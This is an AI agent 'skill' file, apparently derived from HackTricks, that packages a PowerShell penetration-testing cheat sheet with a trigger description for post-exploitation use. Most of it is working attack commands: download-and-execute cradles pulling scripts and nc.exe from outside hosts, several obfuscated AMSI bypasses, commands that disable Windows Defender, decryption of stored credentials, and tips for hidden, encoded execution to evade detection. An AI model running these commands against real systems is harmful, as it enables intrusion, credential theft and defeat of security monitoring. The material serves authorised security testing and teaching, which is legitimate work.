Hacktricks-skills powershell-pentesting
Windows PowerShell commands and techniques for penetration testing, reconnaissance, and post-exploitation. Use this skill whenever the user needs to perform Windows system enumeration, execute remote payloads, bypass AMSI/Defender, enumerate users/groups, check network configurations, handle credentials, or any other Windows pentesting task involving PowerShell. Trigger for any Windows security assessment, red team operation, or post-exploitation scenario.
install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest:
skills/windows-hardening/basic-powershell-for-pentesters/basic-powershell-for-pentesters/SKILL.MDsource content
PowerShell Pentesting Reference
A comprehensive guide to PowerShell commands and techniques for Windows penetration testing and post-exploitation.
Quick Start
PowerShell Locations
C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Basic Help Commands
Get-Help * # List everything loaded Get-Help process # List everything containing "process" Get-Help Get-Item -Full # Get full help about a topic Get-Help Get-Item -Examples # List examples Import-Module <modulepath> Get-Command -Module <modulename>
Download & Execute Payloads
From CMD
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile -
With Execution Policy Bypass
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
From PowerShell v3+
iex (iwr '10.10.14.9:8000/ipw.ps1')
Using XMLHTTP (bypasses some restrictions)
$h=New-Object -ComObject Msxml2.XMLHTTP $h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false) $h.send() iex $h.responseText
Using WebRequest
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
DNS TXT Record Payload
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Download Files
WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget (PowerShell 6+)
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR asynchronous Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Encoding (Linux to Windows)
Encode payload on Kali/Linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
Execute on Windows
powershell -EncodedCommand <Base64>
AMSI Bypass
AMSI (Antimalware Scan Interface) is loaded into your process memory. The goal is to overwrite instructions in memory to make detection useless.
Method 1: Basic Bypass
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
Method 2: String Obfuscation
$A="5492868772801748688168747280728187173688878280688776828" $B="1173680867656877679866880867644817687416876797271" [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " ").GetField([string](38..51|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " ",'NonPublic,Static').SetValue($null,$true)
Method 3: Base64 Obfuscation
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
Method 4: Variable Splitting
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u)) $field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static') $field.SetValue($null,$true)
AMSI Bypass Resources
- amsi.fail - AMSI bypass generator
- S3cur3Th1sSh1t/Amsi-Bypass-Powershell
- AmsiScanBufferBypass
Disable Windows Defender
Check Status
Get-MpComputerStatus Get-MpPreference | select Exclusion* | fl
Disable Real-time Monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
Completely Disable Defender
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
Set Exclusions
Set-MpPreference -ExclusionPath (pwd) -DisableRealtimeMonitoring Add-MpPreference -ExclusionPath (pwd)
Check GPO Exclusions
Parse-PolFile .\Registry.pol
System Reconnaissance
OS Version and Patches
[System.Environment]::OSVersion.Version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} Get-Hotfix -description "Security update"
Environment Variables
Get-ChildItem Env: | ft Key,Value -AutoSize $env:UserName
Connected Drives
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"} | ft Name,Root
Recycle Bin
$shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items()
Recent Files
# By LastAccessTime (gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName # By LastWriteTime (gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
Permissions
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
PowerShell History
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
User and Group Enumeration
Local Users
Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name
Groups
Get-LocalGroup | ft Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Clipboard
Get-Clipboard
Credential Handling
Secure String to Plaintext
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" $cred = New-Object System.management.Automation.PSCredential($user, $pass) $cred.GetNetworkCredential() | fl
From XML File
$cred = Import-CliXml -Path cred.xml $cred.GetNetworkCredential() | Format-List *
From Password File
$pw = gc admin-pass.xml | convertto-securestring $cred = new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl *
Remote Execution (Sudo/WinRM)
Create Credential Object
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
Local Elevated Execution
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
WinRM Remote Execution
# Test credentials Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred # Download file Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred # Run as admin Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
Enable WinRM
enable-psremoting -force # Set network to Private (required for WinRM) Get-NetConnectionProfile | Where{ $_.NetworkCategory -ne 'Private'} | ForEach { $_ | Set-NetConnectionProfile -NetworkCategory Private -Confirm }
Network Reconnaissance
Port Scanning
# Single port Test-NetConnection -Port 80 10.10.10.10 # Multiple ports on single IP 80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null # Port range 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null # Multiple IPs and ports "10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Network Interfaces
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Firewall Rules
Get-NetFirewallRule -Enabled True # Outbound blocked Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block # Outbound allowed Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow # Inbound blocked Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block # Inbound allowed Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow # Create new rule (e.g., allow SSH) New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
Routing and ARP
route print Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hosts File
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping Sweep
$ping = New-Object System.Net.NetworkInformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP Configuration
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Process and Service Enumeration
Processes
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Services
Get-Service
Scheduled Tasks
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
SDDL to Readable Format
ConvertFrom-SddlString "<SDDL_STRING>"
Best Practices
- Use -NoProfile to avoid loading user profiles that might trigger logging
- Use -WindowStyle Hidden for stealthy execution
- Combine AMSI bypass with execution policy bypass for maximum compatibility
- Test commands in a safe environment before using in assessments
- Document all changes made to the target system
- Use encoded commands to avoid basic signature detection
- Consider network restrictions when downloading payloads
Additional Resources
- PowerView - Active Directory reconnaissance
- PowerUp - Local privilege escalation
- SharpClipBoard - Clipboard monitoring
- Start-ClipboardMonitor - Alternative clipboard monitor